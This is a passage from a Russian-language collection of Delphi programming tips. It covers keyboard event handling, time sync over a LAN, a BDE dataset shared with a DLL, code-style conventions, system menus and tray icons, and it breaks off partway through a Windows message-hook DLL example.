Автор: ___Nikolay WEB-сайт: http://delphiworld.narod.ru
// Кол-во вхождений символа в строку
function SymbolEntersCount(s: string; ch: char): integer;
var
  i: integer;
begin
  Result := 0;
  if Trim(s) <> '' then
    for i := 1 to Length(s) do
      if s[i] = ch then
        inc(Result);
end;

Преобразовать код символа в скан-код клавиши.

Автор: Sniknik

Для буквы 'Ф' его и не будет, 0 невозможно преобразовать. посмотри ее значение (Ord) чему равно? а клавиш всего 101шт. (но не все так просто, 101 это наоборот скэн коды надо считать) в твоем случае букву 'Ф' надо переводить в анг. вариант 'A' и тогда MapVirtualKey(Key,0) дает скэн код. короче не работает с MapVirtualKey с локализованными раскладками а AnsiMapVirtualKey пока нет.

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
 Shift: TShiftState);
var st: string;
begin
 if WinKey <  Key then begin
   WinKey:= Key;
   Edit1.Text:= 'Key : '+IntToStr(Key)+' Char : '+Chr(Key);
 end;
 // MapVirtualKey
 Memo1.Lines.Add('Key : '+IntToStr(Key)+' Char : '+Chr(Key)+' MVK : '+
  IntToStr(MapVirtualKey(Key,0)));
 if ssShift in Shift then st:= '1'
 else st:= '0';
 if ssAlt in Shift then st:= st + '1'
 else st:= st+'0';
 if ssCtrl in Shift then st:= st + '1'
 else st:= st+'0';
 if ssLeft in Shift then st:= st + '1'
 else st:= st+'0';
 if ssRight in Shift then st:= st + '1'
 else st:= st+'0';
 if ssMiddle in Shift then st:= st + '1'
 else st:= st+'0';
 if ssDouble in Shift then st:= st + '1'
 else st:= st+'0';
 Memo1.Lines.Add('State Shift/Alt/Ctrl/Left/Right/Middle/Double : '+st);
 {
 GetNumberofConsoleInputEvents
 if Key = VK_F1 then Form1.Caption := 'F1';
 WM_KEYDOWN
 MapVirtualKeyEx, OemKeyScan, VkKeyScanEx
 }
end;

Симфония на клавиатуре.

Статьи по Delphi (017)…
-Рабинович, а вы выписали на следующий год какие-нибудь газеты? -Нет,зачем,если есть Internet. - А в туалет с клавиатурой ходить будете?

Начиная с самого рассвета компьютерной промышленности, клавиатура была первичным устройством ввода информации, и вероятнее всего сохранит свою позицию ещё долгое время.

События клавиатуры, наряду с событиями мыши, являются основными элементами взаимодействия пользователя с программой. В данной статье пойдёт речь о трёх событиях, которые позволяют отлавливать нажатия клавиш в приложении Delphi: OnKeyDown, OnKeyUp и OnKeyPress.

Для получения ввода с клавиатуры, приложения Delphi могут использовать два метода. Самый простой способ, это воспользоваться одним из компонентов, автоматически реагирущем на нажатия клавиш, таким как Edit. Второй способ заключается в создании процедур в форме, которые будут обрабатывать нажатия и отпускания клавиш. Эти обработчики могут обрабатывать как нажатия одиночных клавиш, так и комбинаций. Итак, вот эти события:

OnKeyDown - вызывается, когда на клавиатуре нажимается любая клавиша. OnKeyUp - вызывается, когда любая клавиша на клавиатуре отпускается. OnKeyPress - вызывается, когда нажимается клавиша, отвечающая за определённый ASCII символ.

Теперь самое время посмотреть, как выглядят в программе заголовки обработчиков:

procedure TForm1.FormKeyDown
(Sender: TObject; var Key: Word; Shift: TShiftState);
...
procedure TForm1.FormKeyUp
(Sender: TObject; var Key: Word; Shift: TShiftState);
...
procedure TForm1.FormKeyPress
(Sender: TObject; var Key: Char);

Все события имеют один общий параметр, обычно называемый Key. Этот параметр используется для передачи кода нажатой клавиши. Параметр Shift (в процедурах OnKeyDown и OnKeyUp), указывает на то, была ли нажата клавиша в сочетании с Shift, Alt, и Ctrl.

Фокус

Фокус, это способность получать пользовательский ввод через мышь или клавиатуру. Получать события от клавиатуры могут только те объекты, которые имеют фокус. На форме активного приложения в один момент времени может быть активным (иметь фокус) только один компонент.

Некоторые компоненты, такие как TImage, TPaintBox, TPanel и TLabel не могут получать фокус, другими словами, это компоненты, наследованные от TGraphicControl. Так же не могут получать фокус невидимые компоненты, такие как TTimer.

OnKeyDown, OnKeyUp

События OnKeyDown и OnKeyUp обеспечивают самый низкий уровень ответа клавиатуры. Обработчики OnKeyDown и OnKeyUp могут реагировать на все клавиши клавиатуры, включая функциональные и комбинации с клавишами Shift, Alt, и Ctrl.

События клавиатуры - не взаимоисключающие. Когда пользователь нажимает клавишу, то генерируются два события OnKeyDown и OnKeyPress, а когда отпускает, то только одно: OnKeyUp. Если пользователь нажмёт одну из клавиш, которую OnKeyPress не сможет определить, то будет сгенерировано только одно событие OnKeyDown, а при отпускании OnKeyUp.

OnKeyPress

OnKeyPress возвращает различные значения ASCII для 'g' и 'G,'. Однако, OnKeyDown и OnKeyUp не делают различия между верхним и нижним регистром.

Параметры Key и Shift

Параметр Key можно изменять, чтобы приложение получило другой код нажатой клавиши. Таким образом можно ограничивать набор различных символов, которые пользователь может ввести с клавиатуры. Например разрешить вводить только цифры. Для этого добавьте в обработчик события OnKeyPress следующий код и установите KeyPreview в True (см. ниже).

if Key in ['a'..'z'] + ['A'..'Z'] then
  Key := #0;

Это выражение проверяет, содержит ли параметр Key символы нижнего регистра ('a'..'z') и символы верхнего регистра ('A'..'Z'). Если так, то в параметр заносится значение нуля, чтобы предотвратить ввод в компонент Edit (например).

В Windows определены специальные константы для каждой клавиши. Например, VK_RIGHT соответствует коду клавиши для правой стрелки.

Чтобы получить состояния специальных клавиш, таких как TAB или PageUp можно воспользоваться API функцией GetKeyState. Клавиши состояния могут находиться в трёх состояниях: отпущена, нажата, и включена. Если старший бит равен 1, то клавиша нажата, иначе отпущена. Для проверки этого бита можно воспользоваться API функцией HiWord. Если младший бит равен 1, то клавиша включена. Вот пример получения сосотояния специальной клавиши:

if HiWord(GetKeyState(vk_PageUp)) <> 0 then
  ShowMessage('PageUp - DOWN')
else
  ShowMessage('PageUp - UP');

В событиях OnKeyDown и OnKeyUp, Key является беззнаковым двухбайтовым (Word) значением, которое представляет виртуальную клавишу Windows. Для получания значения символа можно воспользоваться функцией Chr. В событии OnKeyPress параметр Key является значением Char, которое представляет символ ASCII.

События OnKeyDown и OnKeyUp имеют параметр Shift с типом TShiftState. В Delphi тип TShiftState определён как набор флагов, определяющих состояние Alt, Ctrl, и Shift при нажатии клавиши.

Например, следующий код (из обработчика OnKeyUp) соединяет строку 'Ctrl +' с нажатой клавишей и отображает результат в заголовке формы:

if ssCtrl in Shift then
  Form1.Caption:= 'Ctrl +' + Chr(Key);

Если нажать Ctrl + A, то будут сгенерированы следующие события:

KeyDown  (Ctrl)   // ssCtrl
KeyDown  (Ctrl+A) // ssCtrl + 'A'
KeyPress (A) 
KeyUp    (Ctrl+A)

Переадресация событий клавиатуры в форму

Клавиатурный обработчик может работать на двух уровнях: на уровне компонентов и на уровне формы. Свойство формы KeyPreview определяет, будут ли клавиатурные события формы вызываться перед клавиатурными событиями компонентов, так как форма может получать все нажатия клавиш, предназначенные для компонента имеющего в данный момент фокус.

Чтобы перехватить нажатия клавиш на уровне формы, до того как они будут переданы компонентам на форме, необходимо установить свойство KeyPreview в True. После этого компонент как и раньше будет получать события, однако сперва они будут попадать в форму, чтобы дать возможность программе разрешить или запретить ввод различных символов.

Допустим, У Вас на форме есть несколько компонентов Edit и процедура Form.OnKeyPress выглядит следующим образом:

procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char);
begin
  if Key in ['0'..'9'] then
    Key := #0
end;

Если один из компонентов Edit имеет фокус и свойство KeyPreview установлено в False, то этот код не будет выполнен - другими словами, если пользователь нажмёт клавишу '5', то в компоненте Edit, имеющем фокус, появится символ "5".

Однако, если KeyPreview установлено в True, то событие формы OnKeyPress будет выполнено до того, как компонент Edit увидит нажатую клавишу. Поэтому, если пользователь нажмёт клавишу '5', то в Key будет подставлено нулевое значение, предотвращая тем самым попадание числовых символов в Edit.

Синхронизировать время на 2-х компьютерах в локальной сети.

Жена: - Ва-ань, дома есть нечего! Муж: - Отстань... - Ва-ань, последние носки тебе штопаю! - Свали. - Ва-ань, старшему завтра в лагерь, а у него ботинки развалились... - Да отцепись ты! У меня за Интернет не плачено, а ты тут со всякой ерундой лезешь!

Синхронизация времени с сервера/раб. станции "nts2".

WinExec('net time \\nts2 /set /yes',SW_HIDE); 

Синхронизация DLL с открытым набором данных.

Тема: Синхронизация DLL с открытым набором данных В данном совете показано как с помощью Object Pascal динамически, на лету, связать DLL с активной базой данных, таким образом дающей программисту возможность воспользоваться Modularize-характеристикой. (Независимо от текущего режима, будь то разработка приложения, или его выполнение) Технология динамической линковки DLL к EXE полезна во многих случаях. Например, работа с пакетами для создания 'plug-in' модулей (A/R, A/P, General Ledger и др.) или Point of Sale package с Current Stock, FIFO/LIFO Ordering, Vendor Tracking, и пр. модули. Данная статья дает работающий пример того, как это сделать с единственной dll, 'Editdll.dll', и предоставит разработчику материал, расказывающий о том, как организовать в вашем приложении подключаемые модули. Предварительные условия: Хорошее знание работы компонента TTable, умение использовать DLL, BDE API и знание BDE hCursor. *WIN API для динамической загрузки любых DLL. Пример приложения

Приведенная ниже форма, EditForm, работает с таблицей COUNTRY, расположенной в каталоге DBDEMO. При нажатии пользователем кнопки 'Edit' или при двойном щелчке на записи (строке), возникает диалоговое окно, расположенное в 'EditDll.dll' и демонстрирующее специфическую информацию, относящуюся к данной записи. В этой "точке" DLL синхронизирует себя не только с набором данных (и сессией), но и с текущей записью. Это означает, что полозователь изменяет те же самые данные, что он видит в EditForm! Ну а теперь углубимся в код демонстрационного приложения. (Для удобства просто скопируйте отсюда эти файлы и вставьте в ваше приложение).

// Проект главной формы
{ MAINDB.DPR }
program maindb;
uses
  Forms,
  mainform in 'mainform.pas' {DBMainForm};
{$R *.RES}
begin
  Application.Initialize;
  Application.CreateForm(TDBMainForm, DBMainForm);
  Application.Run;
end.
{ MAINFORM.PAS }
unit mainform;
interface
uses
  SysUtils, Windows, Messages, Classes, Graphics, Controls,
  StdCtrls, Forms, DBCtrls, DB, DBGrids, DBTables, Grids, ExtCtrls, BDE;
type
  TDBMainForm = class(TForm)
    Table1Name: TStringField;
    Table1Capital: TStringField;
    Table1Continent: TStringField;
    Table1Area: TFloatField;
    Table1Population: TFloatField;
    DBGrid1: TDBGrid;
    DBNavigator: TDBNavigator;
    Panel1: TPanel;
    DataSource1: TDataSource;
    Panel2: TPanel;
    Table1: TTable;
    EditButton: TButton;
    procedure FormCreate(Sender: TObject);
    procedure EditButtonClick(Sender: TObject);
    procedure DBGrid1DblClick(Sender: TObject);
  private
    { private declarations }
  public
    { public declarations }
  end;
var
  DBMainForm: TDBMainForm;
implementation
{$R *.DFM}
procedure TDBMainForm.FormCreate(Sender: TObject);
begin
  Table1.Open;
end;
// {ПРИМЕЧАНИЕ: DBHandle - дескриптор базы данных & DSHandle - курсор
//  рассматриваемой записи. Кроме того, если вы имеете цель в
//  динамической загрузке DLL во время выполнения приложения,
//  используйте вызовы API LoadLibrary, GetProcAddress и
//  FreeLibrary вместо подразумевающихся вызовов загрузки при
//  запуске. Пример использования API для динамической загрузки: }
// Type
//  {Для GetProcAddress}
//  BDEDataSync =
//    function(const DBHandle: HDBIDB; const DSHandle: HDBICur): Boolean;
//             stdcall;
//  {Организация перехвата ошибок загрузки DLL}
//  EDLLLoadError = class(Exception);
// var h: hwnd;
//     p: BDEDataSync;
//     LastError: DWord;
// begin
// UpdateCursorPos;
// Try
//   h := loadLibrary('EDITDLL.DLL');
//   {Примечание для пользователей Delphi 1.0: Поскольку Win32
//    LoadLibrary при неудачной загрузке DLL возвращает NULL,
//    поэтому для поиска ошибки необходим вызов GetLastError,
//    Win16 LoadLibrary возвращает значение ошибки (меньше чем
//    HINSTANCE_ERROR), которая для выяснения причин неудачной
//    загрузки может затем провериться с помощью Win16API SDK.}
//   if h = 0 then begin
//      LastError := GetLastError;
//      Raise EDLLLoadError.create(IntToStr(LastError) +
//                                 ': Невозможно загрузить DLL');
//      end;
//   try
//      p := getProcAddress(h, 'EditData');
//      if p(DBHandle, Handle) then Resync([]);
//   finally
//      freeLibrary(h);
//   end;
// Except
//   On E: EDLLLoadError do
//     MessageDLG(E.Message, mtInformation, [mbOk],0);
// end;
// end;
// {или}
function EditData(const DBHandle: HDBIDB; const DSHandle: HDBICur):
  Boolean; stdcall external 'EDITDLL.DLL' name 'EditData';
procedure TDBMainForm.EditButtonClick(Sender: TObject);
begin
  with Table1 do
  begin
    UpdateCursorPos;
    // Вызываем процедуру EditData из EditDll.dll.
    if EditData(DBHandle, Handle) then
      Resync([]);
  end;
end;
procedure TDBMainForm.DBGrid1DblClick(Sender: TObject);
begin
  EditButton.Click;
end;
end.
// Проект EDIT DLL
{ EDITDLL.DPR }
library editdll;
uses
  SysUtils,
  Classes,
  editform in 'editform.pas' {DBEditForm};
exports
  EditData;
begin
end.
{ EDITFORM.PAS }
unit editform;
interface
uses
  SysUtils, Windows, Messages, Classes, Graphics, Controls, StdCtrls,
  Forms, DBCtrls, DB, DBTables, Mask, ExtCtrls, BDE;
type
  TTableClone = class;
  TDBEditForm = class(TForm)
    ScrollBox: TScrollBox;
    Label1: TLabel;
    EditName: TDBEdit;
    Label2: TLabel;
    EditCapital: TDBEdit;
    Label3: TLabel;
    EditContinent: TDBEdit;
    Label4: TLabel;
    EditArea: TDBEdit;
    Label5: TLabel;
    EditPopulation: TDBEdit;
    DBNavigator: TDBNavigator;
    Panel1: TPanel;
    DataSource1: TDataSource;
    Panel2: TPanel;
    Database1: TDatabase;
    OKButton: TButton;
  private
    TableClone: TTableClone;
  end;
  { TTableClone }
  TTableClone = class(TTable)
  private
    SrcHandle: HDBICur;
  protected
    function CreateHandle: HDBICur; override;
  public
    procedure OpenClone(ASrcHandle: HDBICur);
  end;
function EditData(const DBHandle: HDBIDB; const DSHandle: HDBICur): Boolean;
  stdcall;
var
  DBEditForm: TDBEditForm;
implementation
{$R *.DFM}
{ Экспорт }
function EditData(const DBHandle: HDBIDB; const DSHandle: HDBICur): Boolean;
  stdcall;
var
  DBEditForm: TDBEditForm;
begin
  DBEditForm := TDBEditForm.Create(Application);
  with DBEditForm do
  try
    // Устанавливаем дескриптор Database1 на открытую в текущий момент базу данных
    Database1.Handle := DBHandle;
    TableClone := TTableClone.Create(DBEditForm);
    try
      TableClone.DatabaseName := 'DB1';
      DataSource1.DataSet := TableClone;
      TableClone.OpenClone(DSHandle);
      Result := (ShowModal = mrOK);
      if Result then
      begin
        TableClone.UpdateCursorPos;
        DbiSetToCursor(DSHandle, TableClone.Handle);
      end;
    finally
      TableClone.Free;
    end;
  finally
    Free;
  end;
end;
{ TTableClone }
procedure TTableClone.OpenClone(ASrcHandle: HDBICur);
begin
  SrcHandle := ASrcHandle;
  Open;
  DbiSetToCursor(Handle, SrcHandle);
  Resync([]);
end;
function TTableClone.CreateHandle: HDBICur;
begin
  Check(DbiCloneCursor(SrcHandle, False, False, Result));
end;
end.
{ EDITFORM.DFM }
object DBEditForm: TDBEditForm
  Left = 201
    Top = 118
    Width = 354
    Height = 289
    ActiveControl = Panel1
    Caption = 'DBEditForm'
    Font.Color = clWindowText
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    Position = poScreenCenter
    PixelsPerInch = 96
    TextHeight = 13
    object Panel1: TPanel
    Left = 0
      Top = 0
      Width = 346
      Height = 41
      Align = alTop
      TabOrder = 0
      object DBNavigator: TDBNavigator
      Left = 8
        Top = 8
        Width = 240
        Height = 25
        DataSource = DataSource1
        Ctl3D = False
        ParentCtl3D = False
        TabOrder = 0
    end
    object OKButton: TButton
      Left = 260
        Top = 8
        Width = 75
        Height = 25
        Caption = 'OK'
        default = True
        ModalResult = 1
        TabOrder = 1
    end
  end
  object Panel2: TPanel
    Left = 0
      Top = 41
      Width = 346
      Height = 221
      Align = alClient
      BevelInner = bvLowered
      BorderWidth = 4
      Caption = 'Panel2'
      TabOrder = 1
      object ScrollBox: TScrollBox
      Left = 6
        Top = 6
        Width = 334
        Height = 209
        HorzScrollBar.Margin = 6
        HorzScrollBar.Range = 147
        VertScrollBar.Margin = 6
        VertScrollBar.Range = 198
        Align = alClient
        AutoScroll = False
        BorderStyle = bsNone
        TabOrder = 0
        object Label1: TLabel
        Left = 6
          Top = 6
          Width = 28
          Height = 13
          Caption = 'Name'
          FocusControl = EditName
      end
      object Label2: TLabel
        Left = 6
          Top = 44
          Width = 32
          Height = 13
          Caption = 'Capital'
          FocusControl = EditCapital
      end
      object Label3: TLabel
        Left = 6
          Top = 82
          Width = 45
          Height = 13
          Caption = 'Continent'
          FocusControl = EditContinent
      end
      object Label4: TLabel
        Left = 6
          Top = 120
          Width = 22
          Height = 13
          Caption = 'Area'
          FocusControl = EditArea
      end
      object Label5: TLabel
        Left = 6
          Top = 158
          Width = 50
          Height = 13
          Caption = 'Population'
          FocusControl = EditPopulation
      end
      object EditName: TDBEdit
        Left = 6
          Top = 21
          Width = 135
          Height = 21
          DataField = 'Name'
          DataSource = DataSource1
          MaxLength = 0
          TabOrder = 0
      end
      object EditCapital: TDBEdit
        Left = 6
          Top = 59
          Width = 135
          Height = 21
          DataField = 'Capital'
          DataSource = DataSource1
          MaxLength = 0
          TabOrder = 1
      end
      object EditContinent: TDBEdit
        Left = 6
          Top = 97
          Width = 135
          Height = 21
          DataField = 'Continent'
          DataSource = DataSource1
          MaxLength = 0
          TabOrder = 2
      end
      object EditArea: TDBEdit
        Left = 6
          Top = 135
          Width = 65
          Height = 21
          DataField = 'Area'
          DataSource = DataSource1
          MaxLength = 0
          TabOrder = 3
      end
      object EditPopulation: TDBEdit
        Left = 6
          Top = 173
          Width = 65
          Height = 21
          DataField = 'Population'
          DataSource = DataSource1
          MaxLength = 0
          TabOrder = 4
      end
    end
  end
  object DataSource1: TDataSource
    Left = 95
      Top = 177
  end
  object Database1: TDatabase
    DatabaseName = 'DB1'
      LoginPrompt = False
      SessionName = 'Default'
      Left = 128
      Top = 176
  end
end

Синхронизация таблицы и StringList.

Автор: OAmiry (Borland)

Допустим что вы имеете TTable с именем Table1 и DBGrid с именем DBGrid1:

В секции модуля interface объявите переменную:
FieldLst: TStringList;
Установите свойство формы KeyPreview в TRUE В обработчике события формы OnCreate добавьте:
FieldLst := TStringList.Create;
В обработчике события формы OnDestroy добавьте:
FieldLst.Free;
В обработчике события формы OnKeyUp добавьте:
if (ssCtrl in Shift) and (Key in [Ord('D'), Ord('d')]) then
if (FieldLst.Count > 0 ) then
begin
{Если вам необходимы все предыдущие данные полей}
{for nFld := 0 to Table1.FieldCount - 1 do
Table1.Fields[nFld].AsString := FieldLst.Strings[nFld] ;}
{Если вы хотите только поле, с которым сейчас имеете дело }
DBGrid1.Fields[DBGrid1.SelectedIndex].AsString := FieldLst.Strings[DBGrid1.SelectedIndex];
end ;
Обработчик события таблицы BeforeInsert должен выглядеть следующим образом:
procedure TForm1.Table1BeforeInsert(DataSet: TDataset);
var
nFld: Integer ;
bmPos: TBookMark ;
begin
if (not Table1.BOF) and (Assigned( FieldLst )) then
try
bmPos := Table1.GetBookMark ;
Table1.DisableControls ;
Table1.Prior ;
FieldLst.Clear ;
for nFld := 0 to Table1.FieldCount - 1 do
FieldLst.Add( Table1.Fields[nFld].AsString ) ;
Table1.GotoBookMark( bmPos ) ;
Table1.FreeBookMark( bmPos ) ;
Table1.EnableControls ;
except
on E: EOutOfMemory do ShowMessage( E.Message ) ;
end ;
end;

Надеюсь, что это будет работать. {Обратите внимание, что при обработке события OnKeyUp вы можете воспользоваться закомментаренными строками, которые позволят вам с помощью комбинации клавиш Ctrl-D получить все предыдущие данные полей. Если вы уберете этот комментарий, то не забудьте прокомментировать строку с DBGrid1....}.

Синхронизация двух компонентов ScrollBox.

Решить задачу помогут обработчики событий OnScroll (в данном примере два компонента ScrollBox (ScrollBar1 и ScrollBar2) расположены на форме TMainForm):

procedure TMainForm.ScrollBar1Scroll(Sender: TObject;
ScrollCode: TScrollCode; var ScrollPos: Integer);
begin
  ScrollBar2.Position:=ScrollPos;
end;
procedure TMainForm.ScrollBar2Scroll(Sender: TObject;
ScrollCode: TScrollCode; var ScrollPos: Integer);
begin
  ScrollBar1.Position := ScrollPos;
end;

Общие рекомендации к оформлению кода.

Отступы Для организации отступов используйте по 2 пробела для каждого уровня. Не рекомендуется использовать символы табуляции, т.к. пользователи могут по-разному установить параметры табуляции и реальная ширина отступов будет различной. Ширина поля Устанавливайте ширину поля равной 80 символам. Исходный текст должен укладываться в указанную длину строки - за исключением ситуаций, когда необходимо загончить слово. Если инструкция занимает несколько строк, то продолжение на последующих строках оформляется с помощью отступа, равного двум символам. Блок begin...end Инструкция begin занимает отдельную строку. Исключение - когда begin оказывается частью предложения else. Т.е. else begin можно записывать в одной строке. Инструкция end занимает отдельную строку. Если инструкция begin не является частью предложения else, то соответствующая ей end занимает тот же отступ, что и begin. Круглые скобки Между открывающей скобкой и следующим символом не должно быть пробела, как и между закрывающей круглой скобкой и предыдущим символом.

Например:

MyProc( Param1 ); // неверно
MyProc(Param1);   // верно

Не следует использовать круглые скобки без необходимости:

if (I = 1) then ...            // Неверно - лишние скобки
if (I = 1) or (J = 2) then ... // Верно - скобки необходимы
Ключевые слова

Зарезервированные ключевые слова должны записываться строчными буквами:

BEGIN Begin // неверно
begin       // верно
Присвоение имен

Имена подпрограмм должны начинаться с прописной буквы. С прописных букв следует начинать составные части имен:

procedure badprocedurename;  // неверно
procedure GoodProcedureName; // верно

Идентификаторам, процедурам, функциям и параметрам процедур и функций следует присваивать имена, отражающие их назначение:

procedure FormatHardDrive; // процедура форматирования винта :)
var IsNull: Boolean;       // признак нуля

Переменным управления циклом можно присваивать односимвольные имена Например I, J, K. Названия типов, которые являются зарезервированными словами, должны быть полностью написаны строчными буквами. Типы Win API полностью пишутся прописными буквами. Другие имена типов должны начинаться с прописной буквы, кроме того, с прописной буквы должны начинаться составные части имен. Пример:

var
  MyString: string;
  WindowHandle: HWND;
  I: Integer;

Имена перечислимых типов следует выбирать в соответствии с назначением перечисления. Имя типа должно начинаться с буквы T, подсказывающей пользователю, что идентификатор является типом. Список идентификаторов перечислимого типа должен содержать набранный строчными буквами двух- или трехсимвольный префикс, указывающий на имя перечислимого типа.

TSongType = (stRock, stClassic, stPop, stAlternative);

Если объявляется указатель на к.л. тип, то его имя следует начинать с буквы P. Располагать объявления таких типов нужно по возможности непосредственно перед объявлением указываемого типа:

type
  PMyRec = ^TMyRec
  TMyRec = record
    StringField: string;
    IntField: Integer;
  end;
Параметры

Формальные параметры одного и того же типа следует по возможности объединять в одну инструкцию:

procedure MyProc(Param1, Param2: Integer; Param3, Param4: string);
Порядок следования параметров имеет важное значение, если используется соглашение о вызове fastcall. Параметры, используемые часто, должны следовать в начале списка, редко используемые – в конце. Более общие параметры следует размещать перед параметрами узкого назначения в порядке слева направо. Если значения параметров не модифицируются подпрограммой, то их следует помечать зарезервированным словом const. При этом, в случае если тип параметра запись, строка (ShortString), массив или интерфейс, будет сгенерирован более оптимальный код. Если параметр предназначен ТОЛЬКО для передачи значения из подпрограммы, то его следует помечать зарезервированным словом out.

При использовании двух модулей, содержащих подпрограммы с одинаковым именем, всегда предваряйте вызовы таких подпрограмм именем соответстующего модуля:

SysUtils.FindClose(SR);
 // или 
Windows.FindClose(Handle);
Типы Тип Real использовать не рекомендуется, т.к. он оставлен лишь для обратной совместимости. Для работы с данными в формате с плавающей точкой лучше использовать тип Double. Этот тип является форматом данных, определенным стандартом IEEE для представления чисел с плавающей точкой. Тип Exteneded следует использовать только в тех случаях, когда точности предоставляемой типом Double, недостаточно. Типы данных Variant и OleVariant рекомендуется использовать только для COM-ориентированных задач. Использование библиотек Разрешается пользоваться всеми модулями, входящими в комплект поставки Delphi. Библиотеками сторонних производителей пользоваться не рекомендуется. Компиляция

Исходные тексты подпрограмм ДОЛЖНЫ компилироваться без ошибок, предупреждений и подсказок компилятора! Следует по возможности избегать переключения опций компилятора (как то: контроль границ диапазонов, контроль ошибок ввода/вывода) в исходном тексте ваших подпрограмм. Разрешается использовать директивы условной компиляции для предопределенных символов: VER130, WIN32, CPU386, CONSOLE и т.п.

Системное меню приложения.

Автор: Davyd WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Системное меню приложения
Если в HNDL указать Application.Handle, то меню добавиться к меню
при клике правой кнопокой мыши на панели задач.
Если Form1.Handle (или любая ваша форма и даже не ваша),
то к системному меню окна клик на иконке окна (слева сверху в углу).
Зависимости: SysUtils, Menus
Автор:       Davyd, davyd@pisem.net, ICQ:163118406, Самара
Copyright:   Собственное написание (Давид)
Дата:        4 апреля 2003 г.
***************************************************** }
procedure ExtendSysMenu(HNDL: THandle; AddMenu: TMainMenu);
var
  i: integer;
begin
  if (AddMenu = nil) or (HNDL = 0) then
    Exit; //Проверяем ссылку на объект
  AppendMenu(GetSystemMenu(HNDL, False),
    MF_SEPARATOR, 0, ''); //Добавляем разделитель
  with AddMenu do
    for i := 0 to Items.Count - 1 do
      AppendMenu(GetSystemMenu(HNDL, False),
        MF_POPUP, Items[i].Handle,
        PChar(Items[i].Caption));
end;

Пример использования:

//На форму кидаем MainMenu (компоненту)
procedure TForm1.FormCreate(Sender: TObject);
begin
  ExtendSysMenu(Application.Handle, MainMenu1);
  ExtendSysMenu(Form1.Handle, MainMenu1);
end;

Компонент SystemTray.

Оформил: DeeCo

Автор: Горбань С.В.

Компонент отличается от всех найденных мной аналогов. В нем не реализована только анимация (ну не нужна она мне...), зато он (компонент) САМ взаимодействует с формой и приложением. Это значит, что вы кладете компонент на форму, настраиваете настраиваете его (иконка, хинт, события мыши, всплывающее меню), задаете видимость формы, видимость приложения на панели задач и видимость иконки в трее. Все. Запускаете приложение.

Если вы в DesignTime задали невидимую форму, невидимое приложение и видимый значек - ваше приложение появится ТОЛЬКО в трее. Если вы и значек спрятали - тогда вообще ничего не видно :-) Спрятались :-)).

Статьи по Delphi (017)…

В архиве компонент и специальный пример — SysTray.zip (236 K).

Вызов стандартного системного окна О программе.

Статьи по Delphi (017)…

Автор: Алексей
Новый русский в компьютерном магазине: - У вас операционные системы есть? - Есть. - Многозадачные есть? - Есть. - Мне 600-задачную!
uses ShellAPI;
procedure ShowAbout;
begin
  ShellAbout(Form1.Handle, 'Напиши здесь название программы',
  'Заяви здесь о своих авторских правах на программу' + #13#10 +
  'можно в две строки', Application.Icon.Handle);
end;

Время простаивания системы.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function LastInput: DWord;
 var
   LInput: TLastInputInfo;
 begin
   LInput.cbSize := SizeOf(TLastInputInfo);
   GetLastInputInfo(LInput);
   Result := GetTickCount - LInput.dwTime;
 end;
 //Example: 
procedure TForm1.Timer1Timer(Sender: TObject);
 begin
   Label1.Caption := Format('System Idle since %d ms', [LastInput]);
 end;
 // The GetLastInputInfo function retrieves the time 
// of the last input event. 
// Minimum operating systems: Windows 2000 

Как сделать окно системно-модальным.

Используйте функцию Windows API SetSysModalWindow(). Код ниже демонстрирует технологию работы с этой функцией. В любой момент времени может быть возможен только один модально-системны диалог, чей дескриптор возвращается функцией SetSysModalWindow(). Вам необходимо запомнить возвращаемую функцией величину для того, чтобы завершить показ диалога таким образом. Вот как примерно это должно выглядеть:

procedure TForm1.Button1Click(Sender: TObject);
var
  x: word ;
begin
  x := SetSysModalWindow(AboutBox.handle) ;
  AboutBox.showmodal ;
  SetSysModalWindow(x) ;
end;

Отключить клавиши при системном Hooke.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  ** What is a Hook? ** 
  A hook is a point in the system message-handling mechanism where an 
  application can install a subroutine to monitor the message traffic in 
  the system and process certain types of messages before they reach the target window procedure. 
  To use the Windows hook mechanism, a program calls the SetWindowsHookEx() API function, 
  passing the address of a hook procedure that is notified when the specified 
  event takes place. SetWindowsHookEx() returns the address of the previously installed 
  hook procedure for the same event type. This address is important, 
  because hook procedures of the same type form a kind of chain. 
  Windows notifies the first procedure in the chain when an event occurs, 
  and each procedure is responsible for passing along the notification. 
  To do so, a hook procedure must call the CallNextHookEx() API function, 
  passing the previous hook procedure's address. 
  --> All system hooks must be located in a dynamic link library. 
  ** The type of Hook used in this Example Code: ** 
  The WH_GETMESSAGE hook enables an application to monitor/intercept messages 
  about to be returned by the GetMessage or PeekMessage function. 
}
 { 
** Hook Dll - WINHOOK.dll ** 
WINHOOK.dpr 
       |-----WHookInt.pas 
** Interface unit ** WHookDef.dpr 
}
 {********** Begin WHookDef.dpr **************}
 { Interface unit for use with WINHOOK.DLL }
 unit WHookDef;
 interface
 uses
   Windows;
 function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall;
 function FreeHook: Boolean; stdcall;
 implementation
 function SetHook; external 'WINHOOK.DLL' Index 1;
 function FreeHook; external 'WINHOOK.DLL' Index 2;
 end.
 {********** End WHookDef.dpr **************}
 {********** Begin Winhook.dpr **************}
 { The project file }
 { WINHOOK.dll }
 library Winhook;
 uses
   WHookInt in 'Whookint.pas';
 exports
   SetHook index 1,
   FreeHook index 2;
 end.
 {********** End Winhook.dpr **************}
 {********** Begin WHookInt.pas **************}
 unit WHookInt;
 interface
 uses
   Windows, Messages, SysUtils;
 function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall; export;
 function FreeHook: Boolean; stdcall; export;
 function MsgFilterFunc(Code: Integer; wParam, lParam: Longint): Longint stdcall; export;
 implementation
 // Memory map file stuff 
{ 
  The CreateFileMapping function creates unnamed file-mapping object 
  for the specified file. 
}
 function CreateMMF(Name: string; Size: Integer): THandle;
 begin
   Result := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, Size, PChar(Name));
   if Result <> 0 then
   begin
     if GetLastError = ERROR_ALREADY_EXISTS then
     begin
       CloseHandle(Result);
       Result := 0;
     end;
   end;
 end;
 { The OpenFileMapping function opens a named file-mapping object. }
 function OpenMMF(Name: string): THandle;
 begin
   Result := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, PChar(Name));
